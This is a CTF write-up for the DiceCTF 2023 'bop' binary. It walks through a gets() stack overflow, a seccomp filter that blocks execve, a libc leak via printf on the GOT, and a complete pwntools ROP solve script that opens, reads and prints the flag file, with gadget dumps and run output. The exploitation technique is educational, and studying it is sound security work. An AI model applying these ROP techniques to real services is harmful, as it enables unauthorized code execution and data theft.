pbr@ucla:~$ 

pwn/bop | DiceCTF 2023

Categories: pwn rop seccomp

Reading and printing the flag with a ROP chain


This write-up is also posted on my website at https://www.alexyzhang.dev/write-ups/dicectf-2023/bop/.

The Challenge

The challenge source is available at https://github.com/dicegang/dicectf-2023-challenges/tree/main/pwn/bop. We were provided with a binary, a Dockerfile, and no challenge description. I did the usual setup with pwninit, which says it failed to unstrip libc for some reason, although it doesn’t seem to cause any issues.

[ctf@fedora-ctf bop]$ file bop
bop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f2afdf22115cea090713fcfdee969d64fcce8d63, for GNU/Linux 3.2.0, stripped
[ctf@fedora-ctf bop]$ checksec bop
[*] '/home/ctf/bop/bop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[ctf@fedora-ctf bop]$ cat Dockerfile
FROM pwn.red/jail:0.3.1

COPY --from=ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999 / /srv
COPY flag.txt /srv/app/
COPY bop /srv/app/run
[ctf@fedora-ctf bop]$ podman run -it --rm -v .:/app:Z -w /app ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999
Resolved "ubuntu" as an alias (/etc/containers/registries.conf.d/000-shortnames.conf)
Trying to pull docker.io/library/ubuntu@sha256:bffb6799d706144f263f4b91e1226745ffb5643ea0ea89c2f709208e8d70c999...
Getting image source signatures
Copying blob b549f31133a9 done  
Copying config e40cf56b4b done  
Writing manifest to image destination
Storing signatures
root@0fed93dc6680:/app# ldd bop
	linux-vdso.so.1 (0x00007ffd925d5000)
	libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007fa0737da000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa0735e8000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fa073800000)
root@0fed93dc6680:/app# cp /lib/x86_64-linux-gnu/libseccomp.so.2 /lib/x86_64-linux-gnu/libc.so.6 /lib64/ld-linux-x86-64.so.2 .
root@0fed93dc6680:/app# exit
exit
[ctf@fedora-ctf bop]$ pwninit --bin bop --libc libc.so.6 --ld ld-linux-x86-64.so.2
bin: bop
libc: libc.so.6
ld: ld-linux-x86-64.so.2

unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.9_amd64.deb
warning: failed unstripping libc: libc deb error: failed to find file in data.tar
copying bop to bop_patched
running patchelf on bop_patched
writing solve.py stub

Note that the binary has partial RELRO, no canary, and no PIE. Decompiling the main function in Ghidra results in this:

void main(void)

{
  char buffer [32];
  
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  printf("Do you bop? ");
  gets(buffer);
  return;
}

So we have an unlimited stack buffer overflow, which should be pretty easy to exploit if there are useful gadgets. I noticed that there were some other functions, and after poking around a little bit I found this:

void FUN_00401216(void)

{
  int load_result;
  undefined8 seccomp_policy;
  
  seccomp_policy = seccomp_init(0);
  seccomp_rule_add(seccomp_policy,0x7fff0000,2,0);
  seccomp_rule_add(seccomp_policy,0x7fff0000,0,0);
  seccomp_rule_add(seccomp_policy,0x7fff0000,1,0);
  seccomp_rule_add(seccomp_policy,0x7fff0000,0x3c,0);
  seccomp_rule_add(seccomp_policy,0x7fff0000,0xe7,0);
  load_result = seccomp_load(seccomp_policy);
  if (load_result < 0) {
    perror("seccomp_load");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  return;
}

The function sets up seccomp with a policy that allows read, write, open, exit, and exit_group. I guessed that this is a constructor function which is automatically called before main, and I set a breakpoint on the function in gdb to make sure that it actually gets called:

[ctf@fedora-ctf bop]$ gdb bop_patched
...
gef➤  b *0x401216
Breakpoint 1 at 0x401216
gef➤  r
...

Breakpoint 1, 0x0000000000401216 in ?? ()

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x1               
$rcx   : 0x00000000401370 endbr64 
$rdx   : 0x007fffffffe2e80x007fffffffe58b"SHELL=/bin/bash"
$rsp   : 0x007fffffffe1a80x000000004013bd add rbx, 0x1
$rbp   : 0x2               
$rsi   : 0x007fffffffe2d80x007fffffffe571"/home/ctf/bop/bop_patched"
$rdi   : 0x1               
$rip   : 0x00000000401216 endbr64 
$r8    : 0x0               
$r9    : 0x007ffff7fe0d60 endbr64 
$r10   : 0x0               
$r11   : 0x007ffff7f628c8  →  0x010000000940104d
$r12   : 0x1               
$r13   : 0x007fffffffe2d80x007fffffffe571"/home/ctf/bop/bop_patched"
$r14   : 0x007fffffffe2e80x007fffffffe58b"SHELL=/bin/bash"
$r15   : 0x00000000403df80x00000000401210 endbr64 
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe1a8│+0x0000: 0x000000004013bd add rbx, 0x1	 ← $rsp
0x007fffffffe1b0│+0x0008: 0x007ffff7fa42e8  →  0x0000000000000000
0x007fffffffe1b8│+0x0010: 0x00000000401370 endbr64 
0x007fffffffe1c0│+0x0018: 0x0000000000000000
0x007fffffffe1c8│+0x0020: 0x00000000401130 endbr64 
0x007fffffffe1d0│+0x0028: 0x007fffffffe2d0  →  0x0000000000000001
0x007fffffffe1d8│+0x0030: 0x0000000000000000
0x007fffffffe1e0│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40120c                  nop    DWORD PTR [rax+0x0]
     0x401210                  endbr64 
     0x401214                  jmp    0x4011a0
→   0x401216                  endbr64 
     0x40121a                  push   rbp
     0x40121b                  mov    rbp, rsp
     0x40121e                  sub    rsp, 0x10
     0x401222                  mov    edi, 0x0
     0x401227                  call   0x4010b0 <seccomp_init@plt>
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bop_patched", stopped 0x401216 in ?? (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401216 → endbr64 
[#1] 0x4013bd → add rbx, 0x1
[#2] 0x7ffff7dd7010 → __libc_start_main()
[#3] 0x40115e → hlt 
────────────────────────────────────────────────────────────────────────────────

With the seccomp filter, we can’t spawn a shell since we can’t do execve. However, we can use ROP to open the flag file, read the flag into memory, and print it out.

Building the ROP Chain

Here are the gadgets in the binary:

[ctf@fedora-ctf bop]$ xgadget bop
TARGET 0 - 'bop': ELF-X64, 0x00000000401130 entry, 1013/1 executable bytes/segments 

0x000000004011be: adc [rax], edi; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 
0x00000000401159: adc eax, 0x2e92; hlt; nop; endbr64; ret; 
0x0000000040117c: adc edi, [rax]; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 
0x0000000040100e: add [rax-0x7b], cl; shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret; 
0x000000004013db: add [rax], al; add [rax], al; add bl, dh; nop edx, edi; ret; 
0x000000004013dc: add [rax], al; add [rax], al; endbr64; ret; 
0x000000004011fa: add [rax], al; add [rbp-0x3d], ebx; nop; ret; 
0x000000004011f9: add [rax], al; add [rbp-0x3d], ebx; nop; ret; 
0x000000004013ad: add [rax], al; add [rcx+rcx*4-0xe], cl; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 
0x000000004013dd: add [rax], al; add bl, dh; nop edx, edi; ret; 
0x000000004013de: add [rax], al; endbr64; ret; 
0x000000004013e6: add [rax], al; endbr64; sub rsp, 0x8; add rsp, 0x8; ret; 
0x0000000040115c: add [rax], al; hlt; nop; endbr64; ret; 
0x0000000040115b: add [rax], al; hlt; nop; endbr64; ret; 
0x000000004013ae: add [rax], al; mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 
0x0000000040100d: add [rax], al; test rax, rax; je short 0x0000000000401016; call rax; 
0x00000000401180: add [rax], al; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 
0x000000004011c2: add [rax], al; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 
0x000000004011fc: add [rbp-0x3d], ebx; nop; ret; 
0x000000004013af: add [rcx+rcx*4-0xe], cl; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 
0x000000004011fb: add [rcx], al; pop rbp; ret; 
0x0000000040115d: add ah, dh; nop; endbr64; ret; 
0x0000000040118b: add bh, bh; loopne 0x00000000004011f5; nop; ret; 
0x000000004013df: add bl, dh; nop edx, edi; ret; 
0x000000004013e7: add bl, dh; nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret; 
0x00000000401189: add dil, dil; loopne 0x00000000004011f5; nop; ret; 
0x000000004011f7: add eax, 0x2eab; add [rbp-0x3d], ebx; nop; ret; 
0x0000000040100a: add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax; 
0x00000000401017: add esp, 0x8; ret; 
0x00000000401016: add rsp, 0x8; ret; 
0x000000004013b9: call qword ptr [r15+rbx*8]; 
0x00000000401362: call qword ptr [rax+0x2e66c3c9]; 
0x000000004012f5: call qword ptr [rax+0xff3c3c9]; 
0x0000000040103e: call qword ptr [rax-0x5e1f00d]; 
0x000000004013ba: call qword ptr [rdi+rbx*8]; 
0x00000000401014: call rax; 
0x00000000401163: cli; ret; 
0x000000004013eb: cli; sub rsp, 0x8; add rsp, 0x8; ret; 
0x00000000401160: endbr64; ret; 
0x000000004013e8: endbr64; sub rsp, 0x8; add rsp, 0x8; ret; 
0x000000004013bc: fisttp word ptr [rax-0x7d], st; ret; 
0x0000000040115e: hlt; nop; endbr64; ret; 
0x000000004011f5: inc esi; add eax, 0x2eab; add [rbp-0x3d], ebx; nop; ret; 
0x00000000401012: je short 0x0000000000401016; call rax; 
0x00000000401185: je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 
0x000000004011c7: je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 
0x0000000040118c: jmp rax; 
0x000000004012f7: leave; ret; 
0x0000000040118d: loopne 0x00000000004011f5; nop; ret; 
0x000000004011f6: mov byte ptr [rip+0x2eab], 0x1; pop rbp; ret; 
0x0000000040117d: mov eax, 0x0; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 
0x000000004011bf: mov eax, 0x0; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 
0x00000000401009: mov eax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 
0x00000000401187: mov edi, 0x404068; jmp rax; 
0x000000004013b7: mov edi, esp; call qword ptr [r15+rbx*8]; 
0x000000004013b6: mov edi, r12d; call qword ptr [r15+rbx*8]; 
0x000000004013b1: mov edx, esi; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 
0x000000004013b4: mov esi, ebp; mov edi, r12d; call qword ptr [r15+rbx*8]; 
0x00000000401008: mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 
0x000000004013b0: mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 
0x000000004013b3: mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 
0x000000004013b2: mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 
0x000000004013d7: nop [rax+rax]; endbr64; ret; 
0x000000004013d5: nop [rax+rax]; endbr64; ret; 
0x000000004013d8: nop [rax+rax]; endbr64; ret; 
0x000000004013a9: nop [rax]; mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 
0x00000000401161: nop edx, edi; ret; 
0x000000004013e9: nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret; 
0x0000000040115f: nop; endbr64; ret; 
0x000000004012f6: nop; leave; ret; 
0x0000000040118f: nop; ret; 
0x00000000401007: or [rax-0x75], cl; add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax; 
0x00000000401186: or [rdi+0x404068], edi; jmp rax; 
0x000000004013b8: out 0x41, eax; call qword ptr [rdi+rbx*8]; 
0x000000004013b5: out dx, al; mov edi, r12d; call qword ptr [r15+rbx*8]; 
0x000000004013cc: pop r12; pop r13; pop r14; pop r15; ret; 
0x000000004013ce: pop r13; pop r14; pop r15; ret; 
0x000000004013d0: pop r14; pop r15; ret; 
0x000000004013d2: pop r15; ret; 
0x000000004013cf: pop rbp; pop r14; pop r15; ret; 
0x000000004011fd: pop rbp; ret; 
0x000000004013d3: pop rdi; ret; 
0x000000004013d1: pop rsi; pop r15; ret; 
0x000000004013cd: pop rsp; pop r13; pop r14; pop r15; ret; 
0x00000000401188: push 0xffffffffff004040; loopne 0x00000000004011f5; nop; ret; 
0x0000000040101a: ret; 
0x0000000040105b: sar edi, 0xff; call qword ptr [rax-0x5e1f00d]; 
0x00000000401184: shl byte ptr [rcx+rcx-0x41], 0x68; add dil, dil; loopne 0x00000000004011f5; nop; ret; 
0x00000000401011: shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret; 
0x000000004011f8: stosd [rdi]; add [rax], al; add [rbp-0x3d], ebx; nop; ret; 
0x000000004013ed: sub esp, 0x8; add rsp, 0x8; ret; 
0x00000000401005: sub esp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 
0x000000004013ec: sub rsp, 0x8; add rsp, 0x8; ret; 
0x00000000401004: sub rsp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 
0x000000004013da: test [rax], al; add [rax], al; add [rax], al; endbr64; ret; 
0x00000000401010: test eax, eax; je short 0x0000000000401016; call rax; 
0x00000000401183: test eax, eax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 
0x000000004011c5: test eax, eax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 
0x0000000040100f: test rax, rax; je short 0x0000000000401016; call rax; 
0x00000000401182: test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 
0x000000004011c4: test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 
0x0000000040118e: xchg ax, ax; ret; 

CONFIG [ search: ROP-JOP-SYS (default) | x_match: none | max_len: 5 | syntax: Intel | regex_filter: none ]
RESULT [ unique_gadgets: 102 | search_time: 3.438523ms | print_time: 4.63807ms ]

We have pop rdi and pop rsi, but no syscall, so we’ll need to use libc. I leaked libc by calling printf on the GOT and then looped main to read in the next ROP chain:

from pwn import *

exe = ELF("bop_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")

context.binary = exe

# r = gdb.debug([exe.path])
r = remote("mc.ax", 30284)

# Found with GEF's pattern command
offset = 40
main = 0x4012f9

rop1 = ROP(exe, badchars=b'\n')
rop1.raw(rop1.find_gadget(["ret"]))
rop1.printf(exe.got.setbuf)
rop1.raw(rop1.find_gadget(["ret"]))
rop1.raw(main)
log.info(rop1.dump())

r.sendlineafter(b"bop? ", rop1.generatePadding(0, offset) + rop1.chain())

leak = int.from_bytes(r.recvuntil(b"Do", drop=True), "little")
log.info(f"{hex(leak)=}")
libc.address = leak - libc.symbols.setbuf
log.info(f"{hex(libc.address)=}")

Next, we have to open the flag file. The Dockerfile indicates that it’s named flag.txt, and we need to write that string into memory at a known address so that we can pass it to the open syscall. I looked for gadgets that move a value from a register that we control to the address stored in another register that we control. libc has plenty of gadgets for controlling registers, and I decided to use a mov [rax], rdi gadget at 0x9a0cf to write flag.txt. We also need some writable memory at a known address, and I used the bss segment for that.

# mov [rax], rdi
write_gadget = libc.address + 0x9a0cf

rop2 = ROP([libc, exe], badchars=b'\n')
# Write "flag.txt" to bss
rop2(rax=exe.bss(), rdi=b"flag.txt")
rop2.raw(write_gadget)
# Write a null terminator
rop2(rax=exe.bss() + 8, rdi=0)
rop2.raw(write_gadget)
# Open the flag file
rop2(rax=constants.SYS_open, rdi=exe.bss(), rsi=0)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))

Now we just need to read the flag into memory and write it to stdout. The flag file will have the smallest available file descriptor, which is 3 since 0, 1, and 2 are used for stdin, stdout, and stderror. I used bss as scratch space again.

# Read up to 100 bytes from fd 3 to bss
rop2(rax=constants.SYS_read, rdi=3, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))
# Write up to 100 bytes from bss to stdout
rop2(rax=constants.SYS_write, rdi=constants.STDOUT_FILENO, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall"]))

Lastly, we send the second payload and receive the flag:

r.sendlineafter(b"bop? ", rop2.generatePadding(0, offset) + rop2.chain())

r.interactive()

Full solve script:

#!/usr/bin/env python3

from pwn import *

exe = ELF("bop_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")

context.binary = exe

# r = gdb.debug([exe.path])
r = remote("mc.ax", 30284)

offset = 40
main = 0x4012f9

rop1 = ROP(exe, badchars=b'\n')
rop1.raw(rop1.find_gadget(["ret"]))
rop1.printf(exe.got.setbuf)
rop1.raw(rop1.find_gadget(["ret"]))
rop1.raw(main)
log.info(rop1.dump())

r.sendlineafter(b"bop? ", rop1.generatePadding(0, offset) + rop1.chain())

leak = int.from_bytes(r.recvuntil(b"Do", drop=True), "little")
log.info(f"{hex(leak)=}")
libc.address = leak - libc.symbols.setbuf
log.info(f"{hex(libc.address)=}")

# mov [rax], rdi
write_gadget = libc.address + 0x9a0cf

rop2 = ROP([libc, exe], badchars=b'\n')
rop2(rax=exe.bss(), rdi=b"flag.txt")
rop2.raw(write_gadget)
rop2(rax=exe.bss() + 8, rdi=0)
rop2.raw(write_gadget)
rop2(rax=constants.SYS_open, rdi=exe.bss(), rsi=0)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))
rop2(rax=constants.SYS_read, rdi=3, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall", "ret"]))
rop2(rax=constants.SYS_write, rdi=constants.STDOUT_FILENO, rsi=exe.bss(), rdx=100)
rop2.raw(rop2.find_gadget(["syscall"]))
log.info(rop2.dump())

r.sendlineafter(b"bop? ", rop2.generatePadding(0, offset) + rop2.chain())

r.interactive()

Output:

[ctf@fedora-ctf bop]$ ./solve.py 
[*] '/home/ctf/bop/bop_patched'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'
[*] '/home/ctf/bop/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ctf/bop/ld-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to mc.ax on port 30284: Done
[*] Loaded 14 cached gadgets for './bop_patched'
[*] 0x0000:         0x40101a ret
    0x0008:         0x4013d3 pop rdi; ret
    0x0010:         0x404030 [arg0] rdi = got.setbuf
    0x0018:         0x4010f4 printf
    0x0020:         0x40101a ret
    0x0028:         0x4012f9
[*] hex(leak)='0x7feffe3f5ad0'
[*] hex(libc.address)='0x7feffe36a000'
[*] Loaded 196 cached gadgets for './libc-2.31.so'
[*] 0x0000:   0x7feffe3a0174 pop rax; ret
    0x0008:         0x404080 stdout
    0x0010:   0x7feffe38db6a pop rdi; ret
    0x0018:      b'flag.txt' b'flag.txt'
    0x0020:   0x7feffe4040cf
    0x0028:   0x7feffe3a0174 pop rax; ret
    0x0030:         0x404088
    0x0038:   0x7feffe38db6a pop rdi; ret
    0x0040:              0x0
    0x0048:   0x7feffe4040cf
    0x0050:   0x7feffe3a0174 pop rax; ret
    0x0058:              0x2 SYS_open
    0x0060:   0x7feffe39001f pop rsi; ret
    0x0068:              0x0
    0x0070:   0x7feffe38db6a pop rdi; ret
    0x0078:         0x404080 stdout
    0x0080:   0x7feffe3cd0a9 syscall; ret
    0x0088:   0x7feffe4acc92 pop rdx; ret
    0x0090:             0x64
    0x0098:   0x7feffe3a0174 pop rax; ret
    0x00a0:              0x0 SYS_read
    0x00a8:   0x7feffe39001f pop rsi; ret
    0x00b0:         0x404080 stdout
    0x00b8:   0x7feffe38db6a pop rdi; ret
    0x00c0:              0x3
    0x00c8:   0x7feffe3cd0a9 syscall; ret
    0x00d0:   0x7feffe4acc92 pop rdx; ret
    0x00d8:             0x64
    0x00e0:   0x7feffe3a0174 pop rax; ret
    0x00e8:              0x1 SYS_write
    0x00f0:   0x7feffe39001f pop rsi; ret
    0x00f8:         0x404080 stdout
    0x0100:   0x7feffe38db6a pop rdi; ret
    0x0108:              0x1 STDOUT_FILENO
    0x0110:   0x7feffe38c84d syscall
[*] Switching to interactive mode
dice{ba_da_ba_da_ba_be_bop_bop_bodda_bope_f8a01d8ec4e2}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive